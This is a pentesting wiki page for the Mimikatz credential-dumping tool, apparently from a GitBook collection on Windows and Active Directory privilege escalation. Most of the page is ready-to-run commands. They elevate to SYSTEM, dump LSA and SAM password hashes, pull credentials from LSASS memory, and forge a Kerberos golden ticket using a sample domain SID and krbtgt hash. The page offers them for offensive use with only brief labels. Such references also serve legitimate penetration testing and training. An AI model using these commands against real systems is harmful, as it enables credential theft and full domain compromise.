AD Privilege Escalation
  • Iperius Backup Service Privilege Escalation
  • ManageEngine ADSelfService Plus PrivEsc
  • Mimikatz
  • Outlook Reminder Privilege Escalation
  • UAC Windows Privilege Escalation
  • Windows PrivEsc with Kerberos
  • Windows PrivEsc with LocalPotato
  • Windows PrivEsc with Registry Keys
  • Windows PrivEsc with RemotePotato
  • Windows PrivEsc with SeBackupPrivilege
  • Windows PrivEsc with Unquoted Service Path
  • Windows Privilege Escalation
  • Windows Pivoting
  • AD CS (Active Directory Certificate Services) Pentesting
  • Dumping Windows Password Hashes
  • WSL Pentesting
  • Windows Memory Dump Analysis
  • Windows Remote Code Execution from Linux
  • Windows XML EventLog (EVTX)
  • M365 (Microsoft Office 365) Pentesting
  • Microsoft Outlook Message (.msg)
  • Microsoft Word Pentesting
  • Reading OneDrive Logs
Powered by GitBook
On this page

Mimikatz

Mimikatz is a password dumping tool for Windows. It also manages Kerberos tickets. Kiwi is the updated version of Mimikatz.

PreviousManageEngine ADSelfService Plus PrivEscNextOutlook Reminder Privilege Escalation

Last updated 1 year ago

You can download it from the .

mimikatz
Copied!

  • Check if Mimikatz Running as an Administrator

    mimikatz # privilege::debug
Copied!

  • Elevate to SYSTEM Level

    mimikatz # token::elevate
Copied!

  • Dump Hashes

    mimikatz # lsadump::lsa /patch
Copied!

    • Security Identifier of the Kerberos Ticket Granting Ticket Account

      mimikatz # lsadump::lsa /inject /name:krbtgt
Copied!

    • All SAM Local Password Hashes

      mimikatz # lsadump::sam
Copied!

    • Credentials from the LSASS Memory

      mimikatz # sekurlsa::logonpasswords
Copied!

  • Create a Kerberos Golden Ticket

    mimikatz # kerberos::golden /user:Administrator /domain:sample.domain /sid
:S-1-5-21-849420856-2351964222-986696166 /krbtgt:7808900312cc005cf7082a9a89eb
dfdf /id:500
Copied!

  1. Open a New Command Prompt

    mimikatz # misc::cmd
GitHub repository
Usage
Page cover image